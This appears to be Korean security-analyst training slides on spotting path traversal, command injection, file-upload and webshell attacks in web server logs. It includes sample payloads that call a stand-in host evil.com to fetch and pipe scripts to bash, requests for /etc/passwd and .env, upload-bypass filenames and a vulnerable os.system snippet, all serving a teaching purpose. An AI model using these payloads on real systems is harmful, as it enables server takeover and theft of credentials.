192.168.1.100 - [14/Apr/2024 11:02:01] "GET /view?file=../../../etc/passwd"  200 2847  "curl/7.68.0"
192.168.1.100 - [14/Apr/2024 11:02:03] "GET /view?file=../../../etc/shadow"  403  512   "curl/7.68.0"
192.168.1.100 - [14/Apr/2024 11:02:05] "GET /download?file=%2e%2e%2f%2e%2e%2f.env"  200 3241  "curl/7.68.0"
192.168.1.100 - [14/Apr/2024 11:02:07] "GET /include?path=....//....//var/log/apache2/access.log"  200 98432  "curl/7.68.0"
192.168.1.100 - [14/Apr/2024 11:02:09] "GET /page?id=../../../proc/self/environ"  500  200   "curl/7.68.0"

🔎 분석 포인트

라인1: 200 + 응답크기 2847 → /etc/passwd 노출 가능성 높음 ⚠
라인2: 403이지만 탐색 시도. /etc/shadow는 존재 확인 완료
라인3: 인코딩 변형(%2e%2e) + .env 200 응답 → 심각
라인4: 로그 파일 접근, 응답 크기 98KB → 로그 포이즈닝 준비 가능성
라인5: 500 = 앱 예외 발생 → LFI 취약점 확인용 탐색

즉시 대응: 라인 1과 3은 이미 노출 발생. .env 내용 즉시 확인, 노출된 키/계정 즉각 교체, DB/클라우드 접근 감사 시작

확인 대상:
□ 200 응답 + 큰 응답 크기 = 파일 노출
□ 연속적인 ../ 반복 = 자동화 스캐닝
□ curl/wget UA = 수동 공격 가능성
□ 인코딩 변형 = 필터 우회 시도

보강 설명 로그에서 ../ 시퀀스와 민감 파일명이 보이면 탐색 의도를 의심하고, 반복성과 응답 크기 변화를 함께 확인하라. LFI와 Path Traversal은 파일 경로 해석을 속여 민감 파일을 읽게 만드는 공격이다. 200만이 아니라 403·404·500까지 포함해 탐색 흐름을 봐야 한다.

Path Traversal민감 파일로그 포이즈닝

대표 신호

../, ..\, %2e%2e, %252e%252e 같은 경로 우회
/etc/passwd, .env, access.log, web.config, php://filter 표적
파일 경로를 바꿔가며 404→200 또는 403→200 전환이 나타남

추가 확인

애플리케이션이 어떤 기준 디렉터리에서 파일을 여는지 파악
로그 파일 포함 뒤 UA/Referer에 삽입된 코드가 있는지 확인
경로 정규화 전후 문자열을 모두 확보해 우회 정도를 판단

미니 실습

같은 의도를 가진 Traversal 문자열을 3가지 이상 찾아 보기
민감 파일 읽기와 정상 파일 다운로드를 어떻게 구분할지 적어 보기
Path Traversal과 LFI를 보고서 문장에서 어떻게 구분할지 써 보기

PART 6 · 상태코드 분석

LFI/Traversal은 200보다 403/404/500에도 의미가 있다

성공 코드가 아니어도, 공격자가 어떤 자산을 탐색하고 있는지는 충분히 읽을 수 있다.

상태코드	LFI 문맥 해석	행동 지침
200	파일 접근 성공 — 실제 노출 가능성	응답 크기 확인, 즉각 조사 우선순위 ↑↑
403	접근 차단 — 민감 파일 존재 탐색	반복 횟수 확인, 우회 시도 이어질 수 있음
404	파일 없음 — 경로/파일 존재 확인 중	다른 경로 조합 시도의 일부일 수 있음
500	앱 예외 — 포함 로직 취약점 단서	error.log 연계 확인, exploit 직전 단계 가능

실수 주의: "403이니까 막혔다" → 틀림. 403 반복은 공격자가 파일 존재를 확인하고 우회 방법을 찾고 있다는 신호

📈 상태코드 시퀀스 분석

전형적인 LFI 탐색 시퀀스

404 → 404 → 403 → 200 (응답 크기 대폭 증가)

해석: 경로 탐색 → 존재 확인 → 접근 차단 → 우회 성공
500 → 500 → 200 (응답 크기 큼)
해석: 예외 유도 시도 → 취약점 경로 발견 → 파일 노출

탐지 기준 설계

동일 IP 5분내 Traversal 패턴 3회+ → 알람
../포함 요청 중 200 응답 → 즉시 높은 우선순위
민감 파일명 탐지 → 상태코드 무관 알람

보강 설명 성공 코드가 아니어도, 공격자가 어떤 자산을 탐색하고 있는지는 충분히 읽을 수 있다. LFI와 Path Traversal은 파일 경로 해석을 속여 민감 파일을 읽게 만드는 공격이다. 200만이 아니라 403·404·500까지 포함해 탐색 흐름을 봐야 한다.

Path Traversal민감 파일로그 포이즈닝

대표 신호

../, ..\, %2e%2e, %252e%252e 같은 경로 우회
/etc/passwd, .env, access.log, web.config, php://filter 표적
파일 경로를 바꿔가며 404→200 또는 403→200 전환이 나타남

추가 확인

애플리케이션이 어떤 기준 디렉터리에서 파일을 여는지 파악
로그 파일 포함 뒤 UA/Referer에 삽입된 코드가 있는지 확인
경로 정규화 전후 문자열을 모두 확보해 우회 정도를 판단

미니 실습

같은 의도를 가진 Traversal 문자열을 3가지 이상 찾아 보기
민감 파일 읽기와 정상 파일 다운로드를 어떻게 구분할지 적어 보기
Path Traversal과 LFI를 보고서 문장에서 어떻게 구분할지 써 보기

PART 6 · CMDi 원리

Command Injection: 입력이 셸로 넘어간 흔적이다

사용자 입력이 시스템 명령 실행 문맥으로 들어가면, 웹 요청이 곧 서버 명령 실행 시도로 바뀐다.

Command Injection이란?

웹 앱이 사용자 입력을 OS 셸 명령 인자로 직접 전달할 때 발생하는 취약점

// 취약한 Python 예시
os.system("ping -c 1 " + user_input)

// 공격자 입력
127.0.0.1; cat /etc/passwd
127.0.0.1 && wget http://evil.com/shell.sh
127.0.0.1 | id

실행 흐름

웹 입력 → 앱 처리 없음 → OS 셸 실행 → 서버 장악

⚡ 취약한 기능 유형

시스템 호출 기능 (고위험)

Ping/Traceroute/Nslookup 도구형 UI
파일 변환/이미지 처리 (ImageMagick 등)
백업·압축 기능 (zip, tar 명령 직접 호출)
이메일 발송 (sendmail 직접 호출)
DNS 조회·네트워크 테스트 기능

탐지 핵심: CMDi는 access.log에서 의심 패턴이 보여도 실제 실행 여부는 호스트 로그에서만 확인가능. 단일 로그 소스로 결론 금지

보강 설명Command Injection은 웹 입력이 그대로 OS 셸 명령으로 실행될 때 발생합니다. LFI가 정보 수집이라면 CMDi는 실제 명령 실행으로 서버 장악의 직접적인 경로입니다.

Command Injection셸 문맥입력→실행

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · CMDi 패턴

; && | ` $() 구분자와 시스템 명령 토큰을 읽어라

셸 구분자와 명령 토큰이 같이 보이면, 단순 문자열이 아니라 실행 의도를 의심해야 한다.

🔑 셸 구분자 (명령 연결·치환)

;   → 이전 명령 결과 무관, 다음 명령 실행
&&  → 이전 명령 성공 시 다음 명령 실행
||  → 이전 명령 실패 시 다음 명령 실행
|   → 파이프, 이전 출력을 다음 명령 입력으로
`..` → 백틱, 명령 치환 (결과를 변수에)
$() → 명령 치환 (모던 셸)

실제 CMDi 로그 예시

GET /ping?host=127.0.0.1%3Bwhoami
GET /dns?q=google.com%26%26cat+/etc/passwd
POST /convert body=file.jpg|wget+http://evil.com/r.sh+-O-+|bash
GET /tool?cmd=`id`

💻 고위험 명령 토큰

idwhoamiuname -a cat /etc/passwdcat /etc/shadow curlwgetfetch ncbashsh pythonperlruby rm -rfchmod 777crontab base64echoeval

탐지 설계 원칙

구분자 단독은 오탐 가능 (정상 URL 포함)
구분자 + 시스템 명령 토큰 조합 = 강한 신호
URL 디코딩 후 분석 필수 (%3B → ;)

cat 단독은 정상 명령일 수 있음. cat + /etc/ 경로 조합이 핵심 신호

보강 설명셸 구분자(;, &&, |)와 시스템 명령 토큰(id, whoami, wget, bash)이 같이 보이면 강력한 CMDi 신호입니다. 단 단일 토큰보다 조합을 보아야 합니다.

;&&|

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · 다중 증거 분석

CMDi는 access.log + error.log + host log를 함께 봐야 한다

웹 요청에서 실행 의도가 보이면, 실제 실행 여부는 서버 내부 흔적으로 확인해야 한다.

access.log

어떤 파라미터로 요청이 들어왔는가
구분자와 명령 토큰이 포함됐는가
응답 크기와 상태코드
⚠ 실행 성공 여부는 알 수 없음

error / app log

명령 실행 실패/예외 메시지
앱이 셸 호출 시 발생하는 오류
내부 명령 실행 결과(성공 시 없을 수도)
성공적 실행은 에러 없이 지나감

host log (EDR/Syslog)

프로세스 생성: bash, sh, curl, wget 등이 웹서버 PID 하위로 생성
파일 생성: /tmp/, /var/www/에 새 파일
외부 다운로드: curl/wget 외부 통신
권한 변경: chmod, sudo, crontab 수정

network log

외부 callback: wget/curl → evil.com
C2 통신: 비정상 외부 아웃바운드
DNS 쿼리: 명령 실행 결과 DNS exfil
Reverse Shell: 비정상 TCP 연결 아웃바운드

핵심 원칙

access.log의 의심 패턴 → host log의 프로세스 생성 → network log의 아웃바운드 — 이 세 가지가 연결될 때 CMDi 성공 판단 가능

보강 설명CMDi는 access.log에서 의심 패턴이 보여도 실제 실행 여부는 호스트 로그에서만 확인됩니다. 단일 로그 소스로 결론 내리지 않는 훈련이 중요합니다.

access.logerror.loghost log

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · 결합 체인

LFI + CMDi 결합될 때 더 위험해진다

파일 읽기와 명령 실행 시도가 이어지면, 정찰에서 실제 장악으로 넘어가는 전조일 수 있다.

🔍

① LFI 탐색

/etc/passwd 읽기
.env 탈취
소스코드 분석

→

📋

② 정보 수집

DB 계정 확인
API 키 탈취
내부 경로 파악

→

💻

③ CMDi 시도

취약 기능 발견
명령 인젝션
id/whoami 실행

→

⚡

④ 실행 확인

호스트 명령 실행
다운로더 실행
역방향 셸

→

🎯

⑤ 지속화

WebShell 설치
백도어 등록
C2 연결

결합 패턴 로그 예시

11:02:05 GET /view?file=../../../../.env  200  3241
→ .env 파일 탈취 성공
11:05:13 GET /ping?host=127.0.0.1;id  200  521
→ 명령 실행 시도
11:06:22 GET /convert?f=x|wget+http://evil.com/shell.sh+-O+/tmp/s  200  0
→ WebShell 다운로드 시도
11:06:45 [host-log] /tmp/s 파일 생성, bash 자식 프로세스 실행

탐지 우선순위: 같은 IP에서 LFI + CMDi가 10분 이내에 이어질 경우 → 즉각 P1 에스컬레이션

상관분석 룰: "동일 IP, 1시간 내, LFI 성공(200) 1건 + CMDi 패턴 1건" → 자동 알람 + 분석가 즉시 할당

보강 설명 파일 읽기와 명령 실행 시도가 이어지면, 정찰에서 실제 장악으로 넘어가는 전조일 수 있다. Command Injection은 입력이 쉘 명령줄에 섞이는 순간 발생한다. 세미콜론, 파이프, 백틱, $() 같은 구분자가 실행 단서가 된다.

쉘 메타문자명령 실행RCE

대표 신호

; | && || ` ` $() 같은 쉘 구분자와 시스템 명령 조합
ping·curl·wget·whoami·cat·nc·bash 등 후속 명령 시도
정상 기능 파라미터와 달리 OS 명령이 반복·연결되는 형태

추가 확인

웹서버 자식 프로세스에서 비정상 쉘/네트워크 프로세스 생성 여부 확인
egress 연결, DNS 조회, 임시 파일 생성 같은 2차 흔적 확인
입력값이 실제 shell=True 경로로 전달되는지 개발 구조 파악

미니 실습

탐지 룰에 메타문자와 명령 키워드를 어떻게 조합할지 설계
LFI와 CMDi가 결합될 때 사건 체인이 어떻게 확장되는지 그려 보기
단순 ping 기능과 CMDi 시도를 구분하는 추가 근거를 써 보기

PART 6 · 탐지 설계

LFI/CMDi 탐지 룰 설계 — 패턴 + 연속성 + 결합

경로 패턴과 명령 패턴은 각각도 중요하지만, 연속성과 결합성을 보면 훨씬 강해진다.

📋 LFI 탐지 룰

1차 룰 (기본 패턴)

decoded_uri에 ../, ..%2f, ..%5c 포함
민감 경로: /etc/, /proc/, .env, .htpasswd
확장자 없는 긴 경로 파라미터

2차 조건 (강화)

200 응답 + 큰 응답 크기(1KB+) = 파일 노출
반복 패턴 (5분 내 5회+) = 자동화 탐색
인코딩 변형 존재 = 필터 우회 의도

💻 CMDi 탐지 룰

1차 룰 (구분자+토큰)

decoded_uri/body에 ;, &&, |, `, $()
+ 시스템 명령: id, whoami, cat, curl, wget, bash
두 조건 AND = 강한 신호

상관 룰 (LFI + CMDi 결합)

동일 IP, 1시간 내, LFI 1건 + CMDi 1건 = P1
LFI 200 성공 후 CMDi = 즉시 에스컬레이션
host log 프로세스 생성 연계 = 최고 우선순위

예외 설계: ping/traceroute 관리자 도구 (내부 CIDR 제외), 개발 환경 서버, 보안 테스트 예정 기간

보강 설명LFI/CMDi 탐지 룰은 경로 패턴과 명령 패턴 각각에 더해, 연속성과 결합성을 보면 훨씬 강해집니다. 단순 패턴 매칭을 넘어 행동 상관분석으로 나아가야 합니다.

탐지 룰경로 패턴명령 패턴

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · Case Study

🔬 Case Study | LFI 의심 흐름 — ../로 민감 파일 탐색

반복적인 ../ 패턴과 민감 파일 이름, 200 응답 + 큰 응답 크기는 LFI 성공의 강력한 근거다.

🔍 LFI 의심 로그 발췌

103.21.244.10 [14/Apr/2024 13:15:01] "GET /view?file=../config.php"  404  200   "python-requests/2.28"
103.21.244.10 [14/Apr/2024 13:15:03] "GET /view?file=../../.env"  403  512   "python-requests/2.28"
103.21.244.10 [14/Apr/2024 13:15:05] "GET /view?file=../../../etc/passwd"  200 2847  "python-requests/2.28"
103.21.244.10 [14/Apr/2024 13:15:08] "GET /view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f.env"  200 3241  "python-requests/2.28"
103.21.244.10 [14/Apr/2024 13:15:10] "GET /view?file=../../../var/log/apache2/access.log"  200 98432  "python-requests/2.28"

F

Fact
103.21.244.10이 /view 엔드포인트 file 파라미터를 통해 ../를 포함한 경로로 5회 연속 요청, 13:15:01~10 (2초 간격 자동화)

P

Pattern
../계층 탐색 + /etc/passwd(200) + .env(200) 성공. 인코딩 우회(%2e%2e) 시도. python-requests UA 자동화 도구. 응답 크기 증가 (성공 신호)

C

Context
/etc/passwd(계정 정보)와 .env(API키/DB계정) 노출 가능. access.log 접근 → 로그 포이즈닝 준비 가능성. 자동화 도구로 체계적 탐색

A

Action
① 즉시 IP 차단 ② .env 내용 확인, 노출 키 교체 ③ DB/클라우드 접근 감사 ④ access.log 포이즈닝 여부 확인 ⑤ 이후 CMDi 시도 모니터링

보강 설명 반복적인 ../ 패턴과 민감 파일 이름, 200 응답 + 큰 응답 크기는 LFI 성공의 강력한 근거다. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 6 · Case Study

🔬 Case Study | CMDi 의심 흐름 — 셸 구분자와 명령 실행 시도

셸 구분자 + 시스템 명령 토큰 + 자동화 UA는 강력한 CMDi 근거다. 호스트 로그와 반드시 연결하라.

🔍 CMDi 의심 로그 발췌

45.142.212.100 [14/Apr/2024 14:22:01] "GET /ping?host=127.0.0.1%3Bid"  200 421   "curl/7.74.0"
45.142.212.100 [14/Apr/2024 14:22:03] "GET /ping?host=8.8.8.8%3Bwhoami"  200 435   "curl/7.74.0"
45.142.212.100 [14/Apr/2024 14:22:07] "GET /ping?host=127.0.0.1%26%26cat+/etc/passwd"  200 2891  "curl/7.74.0"
45.142.212.100 [14/Apr/2024 14:22:12] "POST /convert body=file.txt|wget+http://evil.com/shell.sh+-O-+|bash"  200 0  "curl/7.74.0"

F

Fact
45.142.212.100이 /ping 엔드포인트 host 파라미터를 통해 ; && | 구분자를 포함한 명령 실행 요청. curl UA, 2초 간격 자동화

P

Pattern
;id, ;whoami, &&cat /etc/passwd, |wget evil.com/shell.sh|bash — 구분자+명령 조합 4종. 응답 크기 증가(2891)로 cat 실행 성공 가능성

C

Context
4번째 요청(wget|bash)은 WebShell 다운로드 시도. 성공 시 서버 완전 장악. 즉각 호스트 로그 확인 필요. /tmp/에 sh 파일 생성 여부 확인

A

Action
① 즉시 P1 에스컬레이션 ② /tmp/ 파일 생성 확인 ③ bash/wget 프로세스 생성 로그 확인 ④ 네트워크: evil.com DNS/HTTP 차단 ⑤ 웹서버 임시 격리 검토

보강 설명 셸 구분자 + 시스템 명령 토큰 + 자동화 UA는 강력한 CMDi 근거다. 호스트 로그와 반드시 연결하라. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 6 · 핵심 정리

PART 6 핵심 정리: LFI는 정찰, CMDi는 실행, 결합은 가장 위험하다

파일 시스템을 읽고, OS 명령을 실행하는 공격은 웹 계층에서 서버 장악으로 이어지는 직접적인 경로다.

핵심 탐지 포인트

📂

LFI/Traversal — decoded_uri의 ../패턴 + 민감 파일 이름 + 200 응답 + 큰 응답 크기

💻

CMDi — 구분자(; && | ` $()) + 시스템 명령 토큰 조합 탐지 + 호스트 로그 연계

🔗

결합 패턴 — 동일 IP, 1시간 내, LFI + CMDi 순서 = 즉시 P1 에스컬레이션

🌐

다중 증거 — access.log → error.log → host.log → network.log 순서로 확인

LFI vs CMDi 비교

구분	LFI/Traversal	Command Injection
공격 대상	파일 시스템	OS 셸 실행
주요 패턴	../, 민감 파일명	; && \| + 명령 토큰
직접 피해	정보 노출 (키, 계정)	서버 명령 실행
성공 로그	200 + 큰 응답 크기	호스트 프로세스 생성
다음 단계	2차 공격 준비	WebShell, C2

다음 파트: File Upload, WebShell, 인증 공격, SSRF — 더 고도화된 지속화와 권한 공격

보강 설명 파일 시스템을 읽고, OS 명령을 실행하는 공격은 웹 계층에서 서버 장악으로 이어지는 직접적인 경로다. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

07

File Upload · WebShell · Auth 공격 · SSRF

서버 장악과 계정 탈취 — 공격의 가장 위험한 마지막 단계들

95분 · 슬라이드 85–119

📤 File Upload 공격

🐚 WebShell 설치·실행

🔑 인증 공격 3종

🌐 SSRF 서버 측 요청 위조

보강 설명 서버 장악과 계정 탈취 — 공격의 가장 위험한 마지막 단계들. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · File Upload

File Upload 공격: 업로드된 파일이 실행되는 순간이 위험하다

파일 업로드 취약점은 파일 형식 검증 실패와 실행 가능 경로 저장이 결합할 때 심각한 위협이 된다.

File Upload 취약점이란?

웹 앱이 업로드된 파일의 형식·내용·저장 위치를 충분히 검증하지 않아 공격자가 서버에 실행 가능한 파일을 심을 수 있는 취약점

⚠ 우회 기법 유형

우회 방법	예시
이중 확장자	`shell.php.jpg`
대소문자 혼합	`shell.PhP`, `shell.PHP5`
MIME 타입 위장	Content-Type: image/jpeg + PHP 코드
널 바이트	`shell.php%00.jpg`
확장자 없음	파일명에 확장자 미포함
압축 내 숨김	.zip 안에 .php 파일 포함

🗺 공격 성공 조건

1 실행형 확장자 파일 업로드 허용 (.php, .jsp, .asp 등)

2 파일이 웹 서버가 실행할 수 있는 경로에 저장 (/uploads, /static)

3 업로드된 파일이 URL로 직접 접근 가능 (GET /uploads/shell.php)

✓ 방어: 실행 불가 디렉토리 저장 + 랜덤 파일명 + 콘텐츠 검증

핵심: 같은 shell.php라도 /var/uploads/(실행 불가)와 /var/www/html/uploads/(실행 가능)는 완전히 다른 위험도

보강 설명 파일 업로드 취약점은 파일 형식 검증 실패와 실행 가능 경로 저장이 결합할 때 심각한 위협이 된다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · WebShell 체인

업로드 → 실행: WebShell 체인의 핵심

진짜 위험한 순간은 파일이 올라간 뒤, 그 파일이 URL로 호출되고 명령 파라미터가 붙는 순간이다.

📤

① 업로드

POST /upload
filename: shell.php
Content-Type: image/jpeg

→

🗺

② 경로 파악

응답에서 저장 경로 확인
또는 /uploads/ 디렉토리
브루트포스

→

⚡

③ WebShell 실행

GET /uploads/shell.php
?cmd=whoami
?cmd=id

→

🎯

④ 장악·지속화

cat /etc/passwd
wget reverse_shell.sh
crontab 등록

WebShell 체인 로그 예시

11:30:01 POST /upload  200  {"path":"/uploads/img_3a2f.php"}
→ 업로드 성공, 경로 응답에 노출
11:30:05 GET /uploads/img_3a2f.php  200  85
→ WebShell 파일 실행 확인 시도
11:30:08 GET /uploads/img_3a2f.php?cmd=whoami  200  43
11:30:11 GET /uploads/img_3a2f.php?cmd=cat+/etc/passwd  200  2891
11:30:15 GET /uploads/img_3a2f.php?cmd=wget+http://c2.evil.com/r+-O-+|bash  200  0

상관 탐지 룰: "동일 IP, 30분 내, POST /upload (실행형 확장자) → GET /uploads/*.php (?cmd= 포함)" = 즉시 P1

탐지 포인트:
□ ?cmd=, ?exec=, ?c= 파라미터
□ /uploads/ 경로의 .php/.asp/.jsp 호출
□ 작은 응답 크기 + 반복 (정찰 명령)
□ 큰 응답 크기 (파일/계정 정보 추출)

보강 설명 진짜 위험한 순간은 파일이 올라간 뒤, 그 파일이 URL로 호출되고 명령 파라미터가 붙는 순간이다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · WebShell 탐지

WebShell의 전형적 HTTP 흔적 읽기

WebShell은 보통 비정상 파일 경로와 짧은 명령 파라미터, 반복 정찰 요청을 남긴다.

🚨 WebShell 의심 신호

비정상 실행형 경로

/uploads/shell.php
/images/img_cmd.php
/assets/js/update.jsp
/tmp/ws.aspx
/static/files/backdoor.php5

의심 파라미터 패턴

?cmd=?c=?exec= ?pass=?run=?shell= ?whoami?id?uname

전형적 WebShell 사용 로그 패턴

-- 정찰 단계 (작은 응답, 반복)
GET /uploads/ws.php?cmd=whoami  200  43
GET /uploads/ws.php?cmd=id  200  52
GET /uploads/ws.php?cmd=pwd  200  21
GET /uploads/ws.php?cmd=uname+-a  200  87
-- 데이터 추출 (큰 응답)
GET /uploads/ws.php?cmd=cat+/etc/passwd  200  2891
-- 악성 다운로드
GET /uploads/ws.php?cmd=wget+http://evil.com/r.sh  200  0

패턴 특징: 정상 파일 서버 로그와 달리 ① 같은 URL에 cmd= 파라미터만 변경되며 반복 ② 응답 크기가 명령 결과 크기에 비례 ③ 요청 UA가 curl, python, 단순 UA인 경우 많음

보강 설명WebShell 사용 중의 전형적인 로그 패턴을 정리합니다. 비정상 파일 경로, 짧은 명령 파라미터, 반복 정찰이 핵심 신호입니다.

WebShellcmd=비정상 경로

체인 신호

POST /upload 뒤 GET /uploads/*.php 호출이 이어지는지 확인
?cmd=·?exec=·?c= 반복은 WebShell 전형 패턴

추가 확인

업로드 디렉토리 새 파일·해시와 최근 변경 시간 확인
apache/nginx/php-fpm 자식 프로세스 생성 여부 확인

실습 예시

MIME 위장(image/jpeg)과 확장자 검사를 분리해서 보기
실행 불가 저장 경로와 실행 가능 경로를 구분 설명하기

PART 7 · 상관분석

WebShell 조사: Access → File → Process → Egress 연결

웹셸은 서버 측 실행이 목적이므로, 파일·프로세스·네트워크 흔적이 함께 보일 가능성이 높다.

 Access / WAF Log
POST /upload + 실행형 확장자
GET /uploads/*.php?cmd= 패턴
동일 IP 짧은 간격 반복 호출


 파일 생성 이벤트 (EDR)
/var/www/html/uploads/에 .php 파일 생성
파일 생성 시각 ≒ POST /upload 시각
파일 내용: system(), exec(), passthru()


 프로세스 생성 (EDR)
Parent: apache2/nginx/php-fpm
Child: sh -c whoami, bash -c cat /etc/passwd
Child: wget http://evil.com/...
→ 이것이 WebShell 실행 확인

Network Egress

wget/curl → 외부 C2 서버 HTTP 요청
Reverse shell: 아웃바운드 비정상 TCP
DNS: 외부 도메인 A 레코드 조회
→ 다운로더, C2 통신 확인

지속성 흔적 (EDR/Auth)

crontab 변경: 주기적 콜백
새 사용자 계정 생성
~/.ssh/authorized_keys 변경
서비스 등록 (systemd unit)

확신 순서

Access.log 패턴 → 파일 생성 확인 → 프로세스 생성 확인 → 네트워크 egress 확인 → P1 즉시 대응

보강 설명 웹셸은 서버 측 실행이 목적이므로, 파일·프로세스·네트워크 흔적이 함께 보일 가능성이 높다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
